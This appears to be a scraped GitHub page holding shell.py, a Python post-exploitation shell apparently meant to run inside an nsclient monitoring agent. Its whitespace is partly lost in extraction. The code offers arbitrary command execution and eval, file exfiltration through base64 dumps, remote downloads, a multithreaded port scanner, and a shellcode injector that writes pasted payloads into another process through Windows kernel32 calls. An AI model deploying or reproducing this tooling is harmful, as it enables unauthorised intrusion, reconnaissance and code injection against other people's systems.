- Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathshell.py
More file actions
Latest commit
456 lines (386 loc) · 11.5 KB
/
Copy pathshell.py
File metadata and controls
456 lines (386 loc) · 11.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
importos, sys, tempfile
# Set python home to a path we can definitely write to so we can do pip installs
pythondir=os.path.join(tempfile.gettempdir(),'python'+str( sys.version_info[0] ))
downloadsdir=os.path.join(tempfile.gettempdir(),'downloads')
ifsys.version_info[0] ==2: input=raw_input
print('pythondir',pythondir)
try:
importdir=os.path.join( pythondir, 'lib', 'site-packages' )
cachedir=os.path.join(pythondir,'cache')
logfile=os.path.join(tempfile.gettempdir(),'shell.log')
if'PYTHONHOME'notinos.environ: os.environ['PYTHONHOME'] =''
os.environ['PYTHONHOME'] +=';.;'+pythondir+';'+importdir
sys.path.append(importdir)
sys.path.append('.')
open_ports= []
exceptExceptionase:
print(e)
# These ones should all work
try:
importsubprocess,shutil,base64,re,getpass,fnmatch,time,getopt,socket
exceptExceptionase:
print( e )
# Support for multithreading
try:
importthreading,queue
exceptExceptionase:
print( e )
print('No multithreading support :( nmap will be slow')
# CIDR parsing
try:
importipaddress
exceptExceptionase:
print( e )
print('No IP address module - unable to parse CIDR notation')
# Package management
try:
importpip
exceptExceptionase:
print( e )
print('No pip - install won\'t work')
# Web requests
try:
fromurllib.requestimporturlopen
exceptExceptionase:
print( e )
try:
fromurllibimporturlopen
exceptExceptionasf:
print( f )
print('No urlopen - wget won\'t work')
# Processes
try:
importpsutil
exceptExceptionase:
print( e )
print('No psutil - ps, ifconfig and netstat won\'t work')
# Windows kernel
try:
fromctypesimport*
exceptExceptionase:
print( e )
print('No ctypes - inject won\'t work')
commands= {
'help': 'Show help',
'info': 'Show info about current system',
'cd': 'Change current working dir',
'ls': 'List files / folders',
'cat': 'Output a file to stdout',
'bat': 'base64 output a file to stdout',
'cp': 'Copy a file / folder',
'mv': 'Move a file / folder',
'rm': 'Delete a file / folder',
'exec': 'Execute a system command / binary',
'edit': 'Open the OS editor on a file',
'grep': 'Recursive grep for a regex (equivalent to `grep -ori <pattern>`)',
'python': 'Run the python interpreter against a file',
'eval': 'Evaluate some python code',
'install': 'pip install a module',
'find': 'Recursive find for a glob filename',
'wget': 'Download a file to cwd',
'nmap': 'Basic multithreaded TCP port scanner',
'ps': 'List running processes',
'netstat': 'List network connections',
'ifconfig': 'Print network interfaces',
'inject': 'Inject shellcode into a process id'
}
defshell():
print('Starting shell')
out=do_info([])
print( out )
log( 'info', out )
print('Type `help` for all commands available')
print('Logging all commands and output to '+logfile)
whileTrue:
try:
cmd=input(os.getcwd() +"> ").strip()
out=parse_command( cmd )
ifout: print( out )
exceptExceptionase:
print("FAILED:",cmd, e)
out=str(e)
log( cmd, out )
deflog( command, output ):
ifnotoutput: output=''
try:
withopen( logfile,'a') asf:
f.write('\nCWD: '+os.getcwd()+'\nIN: '+command+'\nOUT: '+output)
except:
pass
defparse_command( cmd ):
parts=cmd.split(' ')
command=parts[0].strip()
iflen( command ) ==0: return
ifcommandincommands:
try:
out=globals()['do_'+command](parts)
exceptExceptionase:
print('Running '+command+' failed:',e)
out=''
else:
out=''
print('Don\'t know how to '+command)
returnout
defresolve_path( parts ):
iflen( parts ) <2:
d=os.getcwd()
elifparts[1].startswith('/'):
d=' '.join(parts[1:]).strip()
else:
d=os.path.join( os.getcwd(), os.path.join(' '.join(parts[1:]).strip()) )
print(d)
returnd
defdo_help( parts ):
fork,vincommands.items():
print(k.ljust(10)+': '+v)
defdo_info( parts ):
colwidth=20
rtn='Python'.ljust(colwidth) +': '+sys.version+'\n'
# whoami
rtn+='User'.ljust(colwidth)+': '+getpass.getuser() +'@'+socket.gethostname() +'\n'
# Env vars
rtn+='\nEnvironment Variables:\n'
fork,vinos.environ.items():
rtn+=k.ljust(colwidth) +': '+v+'\n'
returnrtn
defdo_cd( parts ):
iflen( parts ) <2:
os.chdir(os.path.dirname(__file__))
else:
os.chdir(' '.join(parts[1:]))
defdo_ls( parts ):
d=resolve_path( parts )
rtn=''
forfinos.listdir( d ):
fn=os.path.join( d, f )
ifos.path.isfile( fn ):
rtn+='\n'+str(os.path.getsize( fn )).rjust(10)
else:
rtn+='\n'+'d'.rjust(10)
rtn+=' '+time.ctime( os.path.getmtime(fn) ) +' '+f
returnrtn
defdo_cat( parts ):
d=resolve_path( parts )
withopen( d, 'r' ) asf:
returnf.read()
defdo_bat( parts ):
d=resolve_path( parts )
withopen( d, 'rb' ) asf:
returnbase64.b64encode( f.read() )
defdo_cp( parts ):
iflen( parts ) <3:
print('cp <source> <dest>')
return
source=resolve_path( ['',parts[1]] )
dest=resolve_path( ['',parts[2]] )
shutil.copy(source,dest)
defdo_mv( parts ):
iflen( parts ) <3:
print('mv <source> <dest>')
return
source=resolve_path( ['',parts[1]] )
dest=resolve_path( ['',parts[2]] )
shutil.move(source,dest)
defdo_rm( parts ):
f=resolve_path( parts )
os.remove(f)
defdo_exec( parts ):
f=resolve_path( parts )
returnsubprocess.check_output(parts[1:])
defdo_grep( parts ):
iflen( parts ) ==1: return''
pattern=parts[1]
iflen( parts ) ==2:
d='.'
else:
d=resolve_path(parts[1:])
ifos.path.isfile( d ):
returngrep( d, pattern )
rtn=''
forroot, dirs, filesinos.walk(d):
fornameinfiles:
fn=os.path.join( root, name )
rtn+=grep(fn,pattern)
returnrtn
defgrep( file, pattern ):
try:
withopen( file, 'r' ) asf:
buf=f.read()
m=re.findall( pattern, buf, re.I )
iflen( m ) ==0: return''
rtn='\n'+'\n'.join([ file+': '+xforxinm])
returnrtn
exceptExceptionase:
return''
defdo_python( parts ):
parts[0] =sys.executable
print( parts )
print( os.environ['PYTHONHOME'] )
try:
returnsubprocess.run( parts, capture_output=True )
exceptExceptionase:
returnstr(e)
defdo_eval( parts ):
code=' '.join(parts[1:])
try:
exec(code)
exceptExceptionase:
print(e)
return''
defdo_install( parts ):
package=parts[1]
pip.main(['install','--cache-dir',cachedir,'--prefix',pythondir,'--upgrade',package])
return''
defdo_find( parts ):
iflen( parts ) ==1: return''
pattern=parts[1]
iflen( parts ) ==2:
d='.'
else:
d=resolve_path(parts[1:])
rtn=''
forroot, dirs, filesinos.walk(d):
fornameinfnmatch.filter( files, pattern ):
fn=os.path.join( root, name )
rtn+='\n'+fn
returnrtn
defdo_wget( parts ):
iflen( parts ) ==1: return''
url='%20'.join(parts[1:])
outfile=os.path.basename(url).strip()
ifoutfile=='': outfile='download'
outfile=os.path.join(downloadsdir,outfile)
r=urllib.request.urlopen(url)
withopen( outfile, 'wb' ) asf: f.write(r.read())
returnoutfile
defdo_nmap( parts ):
iflen( parts ) ==1:
return'Usage: nmap -p 21-80,443 192.168.1.0/24,192.168.0.30'
args= {'target':parts[-1]}
foraingetopt.getopt( parts[1:], 'p:t:' )[0]:
args[a[0][1]] =a[1]
# Expand port ranges
if'p'inargs: ports=mixrange(args['p'])
# Default ports
else: ports='80,443,445,21,22,23,389,636,25,110,53,3389,3306,8080,587,8888,81,8443,8000,1433,139,143,135,1723,111,995,993,5900,1025,199,1720,465,548,113,6001,10000,514,5060,179,1026,2000,32768,554,26,49152,2001,515,8008'.split(',')
# Threads
if't'inargs: max_threads=int(args['t'])
else: max_threads=20
# Parse target
ips= []
fortinargs['target'].split(','):
# hostname
ifre.search('[a-z]',t):
ips.append(socket.gethostbyname(t))
continue
# CIDR
ifre.search('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{1,2}',t):
net=ipaddress.ip_network(t)
foripinnet: ips.append(str(ip))
continue
# Range in last octet
m=re.search('(\d{1,3}\.\d{1,3}\.\d{1,3}\.)(\d{1,3})\s*-\s*(\d+)',t)
ifm:
foriinrange(int(m.group(2)),int(m.group(3))+1):
ips.append(m.group(1)+str(i))
continue
# Single IP
ifre.search('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',t):
ips.append(t)
continue
# Create target services, IP wide first
try:
targets=queue.Queue()
foripinips:
forportinports:
targets.put((ip,port))
open_ports= []
defscanner():
whileTrue:
target=targets.get()
scan_port( target[0], target[1] )
targets.task_done()
except:
print('Multithreading failed, attempting single threaded scan...')
foripinips:
forportinports:
scan_port(ip,port)
defscan_port( ip, port ):
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
port=int( port )
result=s.connect_ex((ip,port))
ifresult==0:
print('OPEN:',ip+':'+str(port))
open_ports.append((ip,port))
s.close()
# Multithreading
foriinrange(max_threads):
threading.Thread(target=scanner, daemon=True).start()
targets.join()
return'Open ports found:\n'+'\n'.join([x[0]+':'+str(x[1]) forxinopen_ports])
defmixrange(s):
r= []
foriins.split(','):
if'-'notini:
r.append(int(i))
else:
l,h=map(int, i.split('-'))
print(l,h)
r+=range(l,h+1)
returnr
defdo_ps( parts ):
fields='pid,ppid,username,cmdline'.split(',')
s=''
forpinpsutil.process_iter(fields):
d=p.as_dict()
s+='\n'
forfinfields:
s+=str(d[f]).ljust(10)
returns
defdo_netstat( parts ):
s=''
forninpsutil.net_connections():
s+='\n'+ (n.laddr.ip+':'+str( n.laddr.port )).ljust(20)
ifn.raddr:
s+= (n.raddr.ip+':'+str( n.raddr.port )).ljust(20)
else: s+=' '*20
s+=n.status.ljust(20) +str(n.pid)
returns
defdo_ifconfig( parts ):
addrs=psutil.net_if_addrs()
s=''
foriface,infinaddrs.items():
s+='\n'+iface+':\n'
foriininf:
s+=' Address: '+str( i.address ) +'\n'
s+=' Netmask: '+str( i.netmask ) +'\n'
returns
defdo_inject( parts ):
# Thank you, Chris https://www.christophertruncer.com/injecting-shellcode-into-a-remote-process-with-python/
iflen( parts ) <2:
print('shellcode <pid>')
return
process_id=int( parts[1] )
page_rwx_value=0x40
process_all=0x1F0FFF
memcommit=0x00001000
kernel32_variable=windll.kernel32
shellcode=base64.b64decode(input('Paste in shellcode in base64: '))
shellcode_length=len(shellcode)
process_handle=kernel32_variable.OpenProcess(process_all, False, process_id)
memory_allocation_variable=kernel32_variable.VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellcode, shellcode_length, 0)
kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, 0, 0, 0)
# To run inside nsclient
definit(plugin_id, plugin_alias, script_alias ):
pass
defshutdown( args ):
pass
def__main__( args ):
shell()
print('Falling back to python REPL')
importcode
code.InteractiveConsole(locals=globals()).interact()
if__name__=='__main__':
__main__([])